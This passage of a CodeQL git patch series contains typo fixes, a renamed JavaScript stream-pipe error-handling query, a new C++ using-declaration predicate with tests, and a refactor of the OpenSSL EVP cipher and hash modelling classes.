b/rust/schema/annotations.py index fa63996f2f16..98245cd24a42 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -922,7 +922,7 @@ class _: @qltest.test_with(Trait) class _: """ - A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. + A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. """ From 41bdaa3d3c06b035e3f042d431af4408ef3eb0aa Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 3 Jun 2025 12:25:46 +0200 Subject: [PATCH 505/535] C++: Fix typo in downgrade script --- .../59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql index 015d02d3ec78..8e111e9e7917 100644 --- a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql +++ b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql @@ -11,7 +11,7 @@ int getKind(int kind) { if kind = 14 then result = 6 // Represent MSFT #import as #include else - if kind = 15 or kind = 6 + if kind = 15 or kind = 16 then result = 3 // Represent #elifdef and #elifndef as #elif else result = kind } From 8ba1f3f26557a302fe73c9aab5f563bd575d2c7d Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 3 Jun 2025 13:43:45 +0200 Subject: [PATCH 506/535] Update javascript/ql/src/Quality/UnhandledStreamPipe.qhelp Co-authored-by: Asger F --- javascript/ql/src/Quality/UnhandledStreamPipe.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp index 22c59188408e..39de6de477d4 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp @@ -14,7 +14,7 @@ In Node.js, calling the pipe() method on a stream without proper er Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors.

    -If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors during the streaming process are properly handled. +If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors emitted by the input stream are properly handled. When multiple pipe() calls are chained, an error handler should be attached before each step of the pipeline.

    From d1869941c298962e97a5b9d2230839bfafefbbf3 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 3 Jun 2025 13:57:10 +0200 Subject: [PATCH 507/535] Renamed `UnhandledStreamPipe.ql` to a better fitting name and ID As a side effect of merge `security-and-quality` does not contain anymore related new query. Co-Authored-By: Asger F <316427+asgerf@users.noreply.github.com> --- .../query-suite/javascript-code-quality.qls.expected | 2 +- .../query-suite/javascript-security-and-quality.qls.expected | 1 - ...dStreamPipe.qhelp => UnhandledErrorInStreamPipeline.qhelp} | 0 ...handledStreamPipe.ql => UnhandledErrorInStreamPipeline.ql} | 4 ++-- .../test/query-tests/Quality/UnhandledStreamPipe/test.qlref | 2 +- 5 files changed, 4 insertions(+), 5 deletions(-) rename javascript/ql/src/Quality/{UnhandledStreamPipe.qhelp => UnhandledErrorInStreamPipeline.qhelp} (100%) rename javascript/ql/src/Quality/{UnhandledStreamPipe.ql => UnhandledErrorInStreamPipeline.ql} (99%) diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected index 4e1662ae7864..876b5f25fa28 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected @@ -2,5 +2,5 @@ ql/javascript/ql/src/Declarations/IneffectiveParameterType.ql ql/javascript/ql/src/Expressions/ExprHasNoEffect.ql ql/javascript/ql/src/Expressions/MissingAwait.ql ql/javascript/ql/src/LanguageFeatures/SpuriousArguments.ql -ql/javascript/ql/src/Quality/UnhandledStreamPipe.ql +ql/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql ql/javascript/ql/src/RegExp/RegExpAlwaysMatches.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected index f6532eb9701c..eb4acd38e39b 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected @@ -80,7 +80,6 @@ ql/javascript/ql/src/NodeJS/InvalidExport.ql ql/javascript/ql/src/NodeJS/MissingExports.ql ql/javascript/ql/src/Performance/PolynomialReDoS.ql ql/javascript/ql/src/Performance/ReDoS.ql -ql/javascript/ql/src/Quality/UnhandledStreamPipe.ql ql/javascript/ql/src/React/DirectStateMutation.ql ql/javascript/ql/src/React/InconsistentStateUpdate.ql ql/javascript/ql/src/React/UnsupportedStateUpdateInLifecycleMethod.ql diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp similarity index 100% rename from javascript/ql/src/Quality/UnhandledStreamPipe.qhelp rename to javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.qhelp diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql similarity index 99% rename from javascript/ql/src/Quality/UnhandledStreamPipe.ql rename to javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql index c2e18e9c577a..a6142a2e6e73 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql @@ -1,6 +1,6 @@ /** - * @id js/nodejs-stream-pipe-without-error-handling - * @name Node.js stream pipe without error handling + * @id js/unhandled-error-in-stream-pipeline + * @name Unhandled error in stream pipeline * @description Calling `pipe()` on a stream without error handling will drop errors coming from the input stream * @kind problem * @problem.severity warning diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref index 23e2f65bab79..0da7b1900f69 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref @@ -1,2 +1,2 @@ -query: Quality/UnhandledStreamPipe.ql +query: Quality/UnhandledErrorInStreamPipeline.ql postprocess: utils/test/InlineExpectationsTestQuery.ql From 8521c53a408e8cb55574da8132cc7cd3bd7ddeb3 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 3 Jun 2025 14:12:12 +0200 Subject: [PATCH 508/535] Renamed test directory to match the query name Co-Authored-By: Asger F <316427+asgerf@users.noreply.github.com> --- .../UnhandledErrorInStreamPipeline.expected} | 0 .../UnhandledErrorInStreamPipeline.qlref} | 0 .../arktype.js | 0 .../execa.js | 0 .../fizz-pipe.js | 0 .../highland.js | 0 .../langchain.ts | 0 .../ngrx.ts | 0 .../rxjsStreams.js | 0 .../strapi.js | 0 .../test.js | 0 .../tst.js | 0 12 files changed, 0 insertions(+), 0 deletions(-) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe/test.expected => UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected} (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe/test.qlref => UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref} (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/arktype.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/execa.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/fizz-pipe.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/highland.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/langchain.ts (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/ngrx.ts (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/rxjsStreams.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/strapi.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/test.js (100%) rename javascript/ql/test/query-tests/Quality/{UnhandledStreamPipe => UnhandledErrorInStreamPipeline}/tst.js (100%) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js From e31f722d76900fecff79b31400206d5d2cb6ee5c Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 28 May 2025 06:55:18 +0200 Subject: [PATCH 509/535] C++: Add support for getting referenced literals in using declarations --- cpp/ql/lib/semmle/code/cpp/Namespace.qll | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/cpp/ql/lib/semmle/code/cpp/Namespace.qll b/cpp/ql/lib/semmle/code/cpp/Namespace.qll index 2e75a783c14f..dc138f67524b 100644 --- a/cpp/ql/lib/semmle/code/cpp/Namespace.qll +++ b/cpp/ql/lib/semmle/code/cpp/Namespace.qll @@ -174,7 +174,27 @@ class UsingDeclarationEntry extends UsingEntry { */ Declaration getDeclaration() { usings(underlyingElement(this), unresolveElement(result), _, _) } - override string toString() { result = "using " + this.getDeclaration().getDescription() } + /** + * Gets the member that is referenced by this using declaration, where the member depends on a + * type template parameter. + * + * For example: + * ``` + * template + * class A { + * using T::m; + * }; + * ``` + * Here, `getReferencedMember()` yields the member `m` of `T`. Observe that, + * as `T` is not instantiated, `m` is represented by a `Literal` and not + * a `Declaration`. + */ + Literal getReferencedMember() { usings(underlyingElement(this), unresolveElement(result), _, _) } + + override string toString() { + result = "using " + this.getDeclaration().getDescription() or + result = "using " + this.getReferencedMember() + } } /** From 4fd44e96baef2040340432b3de71f3b4eca6852d Mon Sep 17 00:00:00 2001 From: idrissrio Date: Mon, 2 Jun 2025 09:02:54 +0200 Subject: [PATCH 510/535] C++: add test for `getReferencedMember` --- .../comments/binding/commentBinding.expected | 3 +++ .../library-tests/comments/binding/templates.cpp | 15 +++++++++++++++ 2 files changed, 18 insertions(+) diff --git a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected index be0290274f06..e2418f7707cf 100644 --- a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected +++ b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected @@ -9,3 +9,6 @@ | multi.c:5:27:5:36 | // Multi 3 | declaration of multi3 | | templates.cpp:3:3:3:8 | // Foo | declaration of foo | | templates.cpp:7:3:7:8 | // Bar | definition of bar | +| templates.cpp:16:3:16:20 | // using T::member | using member | +| templates.cpp:19:3:19:28 | // using T::nested::member | using member | +| templates.cpp:25:3:25:20 | // using T::member | using member | diff --git a/cpp/ql/test/library-tests/comments/binding/templates.cpp b/cpp/ql/test/library-tests/comments/binding/templates.cpp index 2c76db6a915f..83d2947d952f 100644 --- a/cpp/ql/test/library-tests/comments/binding/templates.cpp +++ b/cpp/ql/test/library-tests/comments/binding/templates.cpp @@ -10,3 +10,18 @@ class Cl { } }; + +template +class Derived : public T { + // using T::member + using T::member; + + // using T::nested::member + using T::nested::member; +}; + +template +class Base { + // using T::member + using T::member; +}; \ No newline at end of file From 10fb8066014b5a58da7478011a10917d7382d57a Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 28 May 2025 14:37:56 +0200 Subject: [PATCH 511/535] C++: add change note for using declarations --- cpp/ql/lib/change-notes/2025-05-28-using-template.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-05-28-using-template.md diff --git a/cpp/ql/lib/change-notes/2025-05-28-using-template.md b/cpp/ql/lib/change-notes/2025-05-28-using-template.md new file mode 100644 index 000000000000..7c13e1ae0ee1 --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-05-28-using-template.md @@ -0,0 +1,4 @@ +--- +category: feature +--- +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. From 6d1b1d1a6e09fd53712728a7a49805b0850262ac Mon Sep 17 00:00:00 2001 From: GrosQuildu Date: Fri, 23 May 2025 18:09:39 +0200 Subject: [PATCH 512/535] refactor EVP common classes add initial work for openssl signatures add basic C test files for ciphers and signatures more signature classes, comments for evp base classes more signature tests fix super calls for input consumers fix getOutputArtifact for tests formatting delete redundant test files move algorithm methods to OpenSSLOperation refactor ECKeyGenOperation for new EVP classes formatting fix getOutputArtifact fix cipher and digest operation test results mv openssl signature to another PR --- .../OpenSSL/Operations/ECKeyGenOperation.qll | 31 +--- .../Operations/EVPCipherInitializer.qll | 14 +- .../OpenSSL/Operations/EVPCipherOperation.qll | 89 ++-------- .../OpenSSL/Operations/EVPHashInitializer.qll | 7 +- .../OpenSSL/Operations/EVPHashOperation.qll | 100 ++++-------- .../Operations/OpenSSLOperationBase.qll | 152 +++++++++++++++++- .../OpenSSL/Operations/OpenSSLOperations.qll | 1 + .../openssl/cipher_operations.expected | 16 +- .../quantum/openssl/hash_operations.expected | 4 +- 9 files changed, 209 insertions(+), 205 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll index 4f07ecc0f9e3..40103569cac0 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll @@ -4,42 +4,15 @@ private import OpenSSLOperationBase private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers private import semmle.code.cpp.dataflow.new.DataFlow -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) - } - - predicate isSink(DataFlow::Node sink) { - exists(ECKeyGenOperation c | c.getAlgorithmArg() = sink.asExpr()) - } -} - -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - class ECKeyGenOperation extends OpenSSLOperation, Crypto::KeyGenerationOperationInstance { ECKeyGenOperation() { this.(Call).getTarget().getName() = "EC_KEY_generate_key" } - override Expr getOutputArg() { - result = this.(Call) // return value of call - } - - Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } - - override Expr getInputArg() { - // there is no 'input', in the sense that no data is being manipulated by the operation. - // There is an input of an algorithm, but that is not the intention of the operation input arg. - none() - } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } override Crypto::KeyArtifactType getOutputKeyType() { result = Crypto::TAsymmetricKeyType() } override Crypto::ArtifactOutputDataFlowNode getOutputKeyArtifact() { - result = this.getOutputNode() - } - - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getAlgorithmArg())) + result.asExpr() = this.(Call).getArgument(0) } override Crypto::ConsumerInputDataFlowNode getKeySizeConsumer() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll index 353a89645ec0..e6e9954a3332 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll @@ -5,6 +5,7 @@ private import experimental.quantum.Language private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import OpenSSLOperationBase module EncValToInitEncArgConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source.asExpr().getValue().toInt() in [0, 1] } @@ -34,19 +35,12 @@ Crypto::KeyOperationSubtype intToCipherOperationSubtype(int i) { } // TODO: need to add key consumer -abstract class EVP_Cipher_Initializer extends Call { - Expr getContextArg() { result = this.(Call).getArgument(0) } +abstract class EVP_Cipher_Initializer extends EVPInitialize { + override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - - abstract Expr getKeyArg(); - - abstract Expr getIVArg(); - - // abstract Crypto::CipherOperationSubtype getCipherOperationSubtype(); abstract Expr getOperationSubtypeArg(); - Crypto::KeyOperationSubtype getCipherOperationSubtype() { + override Crypto::KeyOperationSubtype getKeyOperationSubtype() { if this.(Call).getTarget().getName().toLowerCase().matches("%encrypt%") then result instanceof Crypto::TEncryptMode else diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index 233bfd504338..fb06543ee5bb 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -4,36 +4,21 @@ private import EVPCipherInitializer private import OpenSSLOperationBase private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) +class EVP_Cipher_Update_Call extends EVPUpdate { + EVP_Cipher_Update_Call() { + this.(Call).getTarget().getName() in [ + "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" + ] } - predicate isSink(DataFlow::Node sink) { - exists(EVP_Cipher_Operation c | c.getAlgorithmArg() = sink.asExpr()) - } + override Expr getInputArg() { result = this.(Call).getArgument(3) } } -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - -// import experimental.quantum.OpenSSL.AlgorithmValueConsumers.AlgorithmValueConsumers -// import OpenSSLOperation -// class EVPCipherOutput extends CipherOutputArtifact { -// EVPCipherOutput() { exists(EVP_Cipher_Operation op | op.getOutputArg() = this) } -// override DataFlow::Node getOutputNode() { result.asDefiningArgument() = this } -// } -// /** * see: https://docs.openssl.org/master/man3/EVP_EncryptInit/#synopsis * Base configuration for all EVP cipher operations. - * NOTE: cannot extend instance of OpenSSLOperation, as we need to override - * elements of OpenSSLOperation (i.e., we are creating an instance) */ -abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperationInstance { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - Expr getAlgorithmArg() { this.getInitCall().getAlgorithmArg() = result } - +abstract class EVP_Cipher_Operation extends EVPOperation, Crypto::KeyOperationInstance { override Expr getOutputArg() { result = this.(Call).getArgument(1) } override Crypto::KeyOperationSubtype getKeyOperationSubtype() { @@ -43,81 +28,39 @@ abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperati result instanceof Crypto::TDecryptMode and this.(Call).getTarget().getName().toLowerCase().matches("%decrypt%") or - result = this.getInitCall().getCipherOperationSubtype() and + result = this.getInitCall().getKeyOperationSubtype() and this.(Call).getTarget().getName().toLowerCase().matches("%cipher%") } - EVP_Cipher_Initializer getInitCall() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - override Crypto::ConsumerInputDataFlowNode getNonceConsumer() { this.getInitCall().getIVArg() = result.asExpr() } - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - override Crypto::ConsumerInputDataFlowNode getKeyConsumer() { this.getInitCall().getKeyArg() = result.asExpr() + // todo: or track to the EVP_PKEY_CTX_new } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOperation.super.getOutputArtifact() + } - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getInitCall().getAlgorithmArg())) + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOperation.super.getInputConsumer() } } -class EVP_Cipher_Call extends EVP_Cipher_Operation { +class EVP_Cipher_Call extends EVPOneShot, EVP_Cipher_Operation { EVP_Cipher_Call() { this.(Call).getTarget().getName() = "EVP_Cipher" } override Expr getInputArg() { result = this.(Call).getArgument(2) } } -// NOTE: not modeled as cipher operations, these are intermediate calls -class EVP_Cipher_Update_Call extends Call { - EVP_Cipher_Update_Call() { - this.(Call).getTarget().getName() in [ - "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" - ] - } - - Expr getInputArg() { result = this.(Call).getArgument(3) } - - DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() } - - Expr getContextArg() { result = this.(Call).getArgument(0) } -} - -class EVP_Cipher_Final_Call extends EVP_Cipher_Operation { +class EVP_Cipher_Final_Call extends EVPFinal, EVP_Cipher_Operation { EVP_Cipher_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_EncryptFinal_ex", "EVP_DecryptFinal_ex", "EVP_CipherFinal_ex", "EVP_EncryptFinal", "EVP_DecryptFinal", "EVP_CipherFinal" ] } - - EVP_Cipher_Update_Call getUpdateCalls() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - - override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } -} - -class EVP_PKEY_Operation extends EVP_Cipher_Operation { - EVP_PKEY_Operation() { - this.(Call).getTarget().getName() in ["EVP_PKEY_decrypt", "EVP_PKEY_encrypt"] - } - - override Expr getInputArg() { result = this.(Call).getArgument(3) } - // TODO: how PKEY is initialized is different that symmetric cipher - // Consider making an entirely new class for this and specializing - // the get init call -} - -class EVPCipherInputArgument extends Expr { - EVPCipherInputArgument() { exists(EVP_Cipher_Operation op | op.getInputArg() = this) } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll index 46d414ece6ce..7309242f198b 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll @@ -1,10 +1,7 @@ import cpp +private import OpenSSLOperationBase -abstract class EVP_Hash_Initializer extends Call { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - abstract Expr getAlgorithmArg(); -} +abstract class EVP_Hash_Initializer extends EVPInitialize { } class EVP_DigestInit_Variant_Calls extends EVP_Hash_Initializer { EVP_DigestInit_Variant_Calls() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index c68ccd960845..2b798a96b7e2 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -8,118 +8,78 @@ private import OpenSSLOperationBase private import EVPHashInitializer private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -// import EVPHashConsumers -abstract class EVP_Hash_Operation extends OpenSSLOperation, Crypto::HashOperationInstance { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() } - - EVP_Hash_Initializer getInitCall() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - - /** - * By default, the algorithm value comes from the init call. - * There are variants where this isn't true, in which case the - * subclass should override this method. - */ - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getAlgorithmArg())) - } -} - -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) - } +class EVP_Digest_Update_Call extends EVPUpdate { + EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] } - predicate isSink(DataFlow::Node sink) { - exists(EVP_Hash_Operation c | c.getAlgorithmArg() = sink.asExpr()) - } + override Expr getInputArg() { result = this.(Call).getArgument(1) } } -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - //https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis -class EVP_Q_Digest_Operation extends EVP_Hash_Operation { +class EVP_Q_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { EVP_Q_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Q_digest" } - //override Crypto::AlgorithmConsumer getAlgorithmConsumer() { } + override Expr getAlgorithmArg() { result = 